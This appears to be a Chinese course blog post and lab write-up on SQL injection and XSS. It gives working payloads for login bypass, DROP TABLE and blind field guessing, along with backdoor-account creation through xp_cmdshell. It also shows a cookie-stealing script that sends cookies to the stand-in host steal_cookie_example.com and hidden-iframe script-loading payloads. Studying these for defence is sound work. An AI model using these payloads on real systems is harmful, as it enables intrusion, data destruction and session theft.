http://www.cnblogs.com/lidong20179210/p/8909569.htmlphp
博文主要內容包括兩種常見的web攻擊html
代碼注入攻擊mysql
- Web應用程序的輸入驗證不完善漏洞
- 執行由攻擊者所注入的惡意指令和代碼
- 敏感信息泄露、權限提高或對系統的未受權訪問
多樣化的代碼注入攻擊類型web
- SQL注入攻擊:惡意讀取、修改與操縱數據庫;
- PHP注入或ASP注入攻擊:植入和運行Webshell
- Shell注入攻擊:惡意執行操做系統命令的;
- 其餘多樣化注入攻擊: LDAP注入、郵件命令注入、 SSI
SQL注入攻擊對Web應用程序的威脅,至關大部分Web應用程序使用後臺數據庫,動態產生內容sql
SQL注入攻擊:利用Web應用程序數據層存在的輸入驗證不完善型安全漏洞實施的一類代碼注入攻擊技術。shell
SQL注入漏洞機制數據庫
- 用戶輸入沒有被正確地過濾:轉義字符(引號、反引號、雙下劃線、分號、 百分號)
- 沒有進行嚴格類型檢查:未判斷輸入是否預約類型
inputusername = request.form("username") inputpasswd = request.form("passwd") set cn = Server.CreateObject("ADODB.Connection") cn.Open "Driver={SQL Server};Server=WEBSVR;DataBase=WebDB;UID=sa;WD=123;" set rso = server.CreateObject("ADODB.RecordSet") sql = "SELECT * FROM accounts WHERE username ='" & inputusername & "' AND passwd = '" & inputpasswd & "'" rso.Open sql, cn if rso.eof then response.write("login error: username or passwd incorrect") else response.write("login success") end if
huangrong' OR '1'='1
SELECT * from FROM accounts WHERE username ='huangrong' OR '1'='1' AND passwd = 'huangrong' OR '1'='1'
等價於: SELECT * from FROM accountsapache
後果:繞過了login.asp用戶身份認證的正常邏輯,得到訪問ubuntu
huangrong'; DROP TABLE accounts; SELECT * FROM admin WHERE 't' ='t
SELECT * from FROM accounts WHERE username ='x' OR '1'='1' AND passwd ='huangrong';DROP TABLE accounts; SELECT * FROM admin WHERE 't' = 't'
注入點存在於形如http://SITE/xxx.asp?some_rec=yyy的動態網頁瀏覽器
- 手工審查
- Google Hacking
注入點驗證
- 整數型參數:
- 「yyy'」 (加單引號) : SQL錯誤
- 「yyy and 1=1」 :正常頁面
- 「yyy and 1=2」 :空白頁面
- 字符串參數
- 「yyy'」 (加單引號) : SQL錯誤
- 「yyy' and '1'='1」 : 正常頁面
- 「yyy' and '1'='2」 : 空白頁面
- Web應用程序流行的後臺數據庫
- ASP: MS SQL Server/ACCESS
- PHP: MySQL
- 利用數據庫服務器的系統變量進行判斷
- MS SQL Server: user/db_name()
- MySQL: basedir、 …
- http://SITE/xxx.asp?some_rec=yyy and db_name()>0
- 利用數據庫服務器的系統表進行判斷
- ACCESS: msysobjects
- MS SQL Server: sysobjects
- MySQL: mysql
- http://SITE/xxx.asp?some_rec = yyy and (select count(*) from sysobjects)>0
- 猜解後臺口令表表名
- http://SITE/xxx.asp?some_rec = yyy and (select count (*) from guessed_tbl_name)>0
- 猜解字段名
- http://SITE/xxx.asp?some_rec = yyy and (select Count(guessed_rec_name) from Admin) > 0
- 猜解字段值: 二分法逼近
- 字段長度:
- http://SITE/xxx.asp?some_rec = yyy and(select top1 len(username) from Admin)>[guessed_length]
- 字段值: 逐位猜解
- http://SITE/xxx.asp?some_rec = yyyand (select top1 asc(mid(username,N,1)) from Admin)>[guessed_ascii]
- 口令可能爲MD5散列後的密文
- MD5Crac
後臺管理界面
- 利用提供的上傳/下載文件等功能上傳ASP後門
- Web服務器軟件的默認帳戶權限
- 本地受限帳戶命令執行
- Web虛擬目錄中文件上傳/下載
- 利用MS SQL Server的BCP命令
- bcp "select codes from tmp_tbl"queryout c:\inetpub\wwwroot\runcommand.asp –c –S localhost U sa –P foobar
- 進一步本地權限提高
- 利用系統或某些特權應用服務(如Serv-U)安全漏洞
- 利用系統配置不當提高系統權限
- MS SQL Server等DBMS支持擴展存儲過程
- xp_cmdshell, 須要sa賬戶權限
- 經過SQL注入點執行相應的擴展存儲過程
- 添加有本地系統管理員權限的後門用戶賬號
- http://SITE/xxx.asp?some_rec=yyy; exec master.xp_cmdshell 「net user name password /add」
- http://SITE/xxx.asp?some_rec=yyy; exec master.xp_cmdshell 「net localgroup name administrators /add」
環境配置
- 4.重啓Apache:sudo service apache2 restart
這次任務,你須要經過訪問虛擬機內的URL:www.sqllabmysqlphpbb.com。在進入phpBB以前系統會要求你登錄。這個登錄認證由服務器上的login.php實現,須要用戶輸入用戶名和密碼來經過認證。
去網上尋找了答案,答案的是在用戶名輸入ted'#,密碼空着就行,ted是一個已經存在的用戶名,用單引號結束這個字符串,用#轉義掉後面的語句。
用戶發送修改請求後,會執行include/usercp_register.php中的一條UPDATE SQL語句。在這條語句中一樣有一個SQL注入漏洞,請用它來達到如下目標:在不知道其餘人密碼的狀況下修改其資料。
提交後發現SQL語句的結構,根據分析語句結構,分析出注入漏洞在
查看Memberlist表單,發現id號
經過此漏洞便可經過更改id號更改信息,此處咱們修改admin的信息
- 查看用戶終端會話Cookie - <script>alert(document.cookie)</script> - 會話ID、甚至登陸口令等敏感信息 - 竊取Cookie - 攻擊者控制網站: steal_cookie_example.com - <script>document.location=„http://steal_cookie_example.com/getcookie.php?cookie=‟+document.cookie;</script> - 網頁掛馬 - <iframe src="http://target_link" height=0 width=0></iframe> - <script src = "http://target_link"></script>
XSS實驗相對SQL簡單一些,答案也全,上兩個結果截圖。